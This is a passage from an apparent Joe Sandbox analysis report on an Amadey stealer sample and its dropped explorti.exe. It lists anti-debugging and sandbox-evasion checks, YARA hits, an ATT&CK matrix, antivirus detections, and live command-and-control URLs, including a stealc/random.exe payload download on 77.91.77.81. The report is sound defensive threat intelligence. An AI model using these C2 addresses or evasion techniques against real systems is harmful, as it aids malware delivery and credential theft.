Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7684	Thread sleep time: -2351175s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7688	Thread sleep count: 1183 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7688	Thread sleep time: -2367183s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: explorti.exe, explorti.exe, 00000017.00000002.3542780776.0000000000361000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8vZMEr8sm9.exe, 00000004.00000002.1334376476.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 0000000C.00000002.1373716046.0000000000361000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 0000000F.00000002.1741065931.0000000000361000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000013.00000002.2344973363.0000000000361000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000015.00000002.2943814710.0000000000361000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000017.00000002.3542780776.0000000000361000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

Code function: 4_2_04B10576 rdtsc

4_2_04B10576

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_0019643B mov eax, dword ptr fs:[00000030h]		11_2_0019643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_0019A1A2 mov eax, dword ptr fs:[00000030h]		11_2_0019A1A2

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"

Jump to behavior

Source: explorti.exe, explorti.exe, 00000017.00000002.3542780776.0000000000361000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: mProgram Manager

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 11_2_0017D2E8 cpuid

11_2_0017D2E8

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\ca57f95ede.exe VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 11_2_0017CAED GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

11_2_0017CAED

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 11_2_00166590 LookupAccountNameA,

11_2_00166590

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.explorti.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.explorti.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.explorti.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.explorti.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.explorti.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.8vZMEr8sm9.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.explorti.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000003.3501654035.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2344434490.0000000000161000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2903364626.0000000004950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1329911234.0000000004970000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2303837950.0000000004950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.1700827096.0000000004880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1333744316.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2943676002.0000000000161000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1292523805.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1332559515.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1373634602.0000000000161000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1740999849.0000000000161000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3542337518.0000000000161000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Scheduled Task/Job	12 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Scheduled Task/Job	261 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	261 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	244 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8vZMEr8sm9.exe	42%	ReversingLabs	Win32.Trojan.Generic
8vZMEr8sm9.exe	42%	Virustotal		Browse
8vZMEr8sm9.exe	100%	Avira	TR/Crypt.TPM.Gen
8vZMEr8sm9.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	42%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://77.91.77.82/Hun4Ko/index.phpT	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phprb	0%	Avira URL Cloud	safe
http://77.91.77.81/?h	100%	Avira URL Cloud	phishing
http://77.91.77.81/	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phps	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exeM	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exe0673b5d7q	100%	Avira URL Cloud	phishing
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpJ	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe1000006001	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php?	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php9Z	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exeS	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exe50673b5ddG	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exe50673b5d76	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.82/Hun4Ko/index.php	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.91.77.82/Hun4Ko/index.phpT	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/	explorti.exe, 0000000B.00000002.3747242277.0000000000D91000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phps	explorti.exe, 0000000B.00000002.3747242277.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phprb	explorti.exe, 0000000B.00000003.3441848622.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000B.00000003.3440649233.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/?h	explorti.exe, 0000000B.00000002.3747242277.0000000000D91000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exeM	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe0673b5d7q	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://pki-ocsp.symauth.com0	random[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpJ	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	random[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe1000006001	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	random[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php?	explorti.exe, 0000000B.00000002.3747242277.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php9Z	explorti.exe, 0000000B.00000002.3747242277.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exeS	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe50673b5ddG	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe50673b5d76	explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation		42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
77.91.77.82	unknown	Russian Federation		42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1464827
Start date and time:	2024-06-30 10:21:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8vZMEr8sm9.exe renamed because original name is a hash value
Original Sample Name:	44809186c26c6851b67bd98c5498f3ca.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/4@0/2
EGA Information:	Successful, ratio: 14.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.127.169.103, 93.184.221.240, 52.165.164.15, 2.16.100.168, 88.221.110.91
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, time.windows.com, a767.dspw65.akamai.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target 8vZMEr8sm9.exe, PID 2376 because it is empty
Execution Graph export aborted for target explorti.exe, PID 1648 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 6844 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7652 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7820 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 8012 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:22:25	API Interceptor	13370669x Sleep call for process: explorti.exe modified
10:22:22	Task Scheduler	Run new task: explorti path: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.81/stealc/random.exe
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81/Kiru9gu/index.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
77.91.77.82	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	77.91.77.82/Hun4Ko/index.php
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.82/Hun4Ko/index.php
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.80
	file.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	installer.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	jYXfxdLoiV.pdf	Get hash	malicious	GRQ Scam	Browse	77.91.77.34
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.80
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.80
	file.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	installer.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	jYXfxdLoiV.pdf	Get hash	malicious	GRQ Scam	Browse	77.91.77.34
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.80
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81

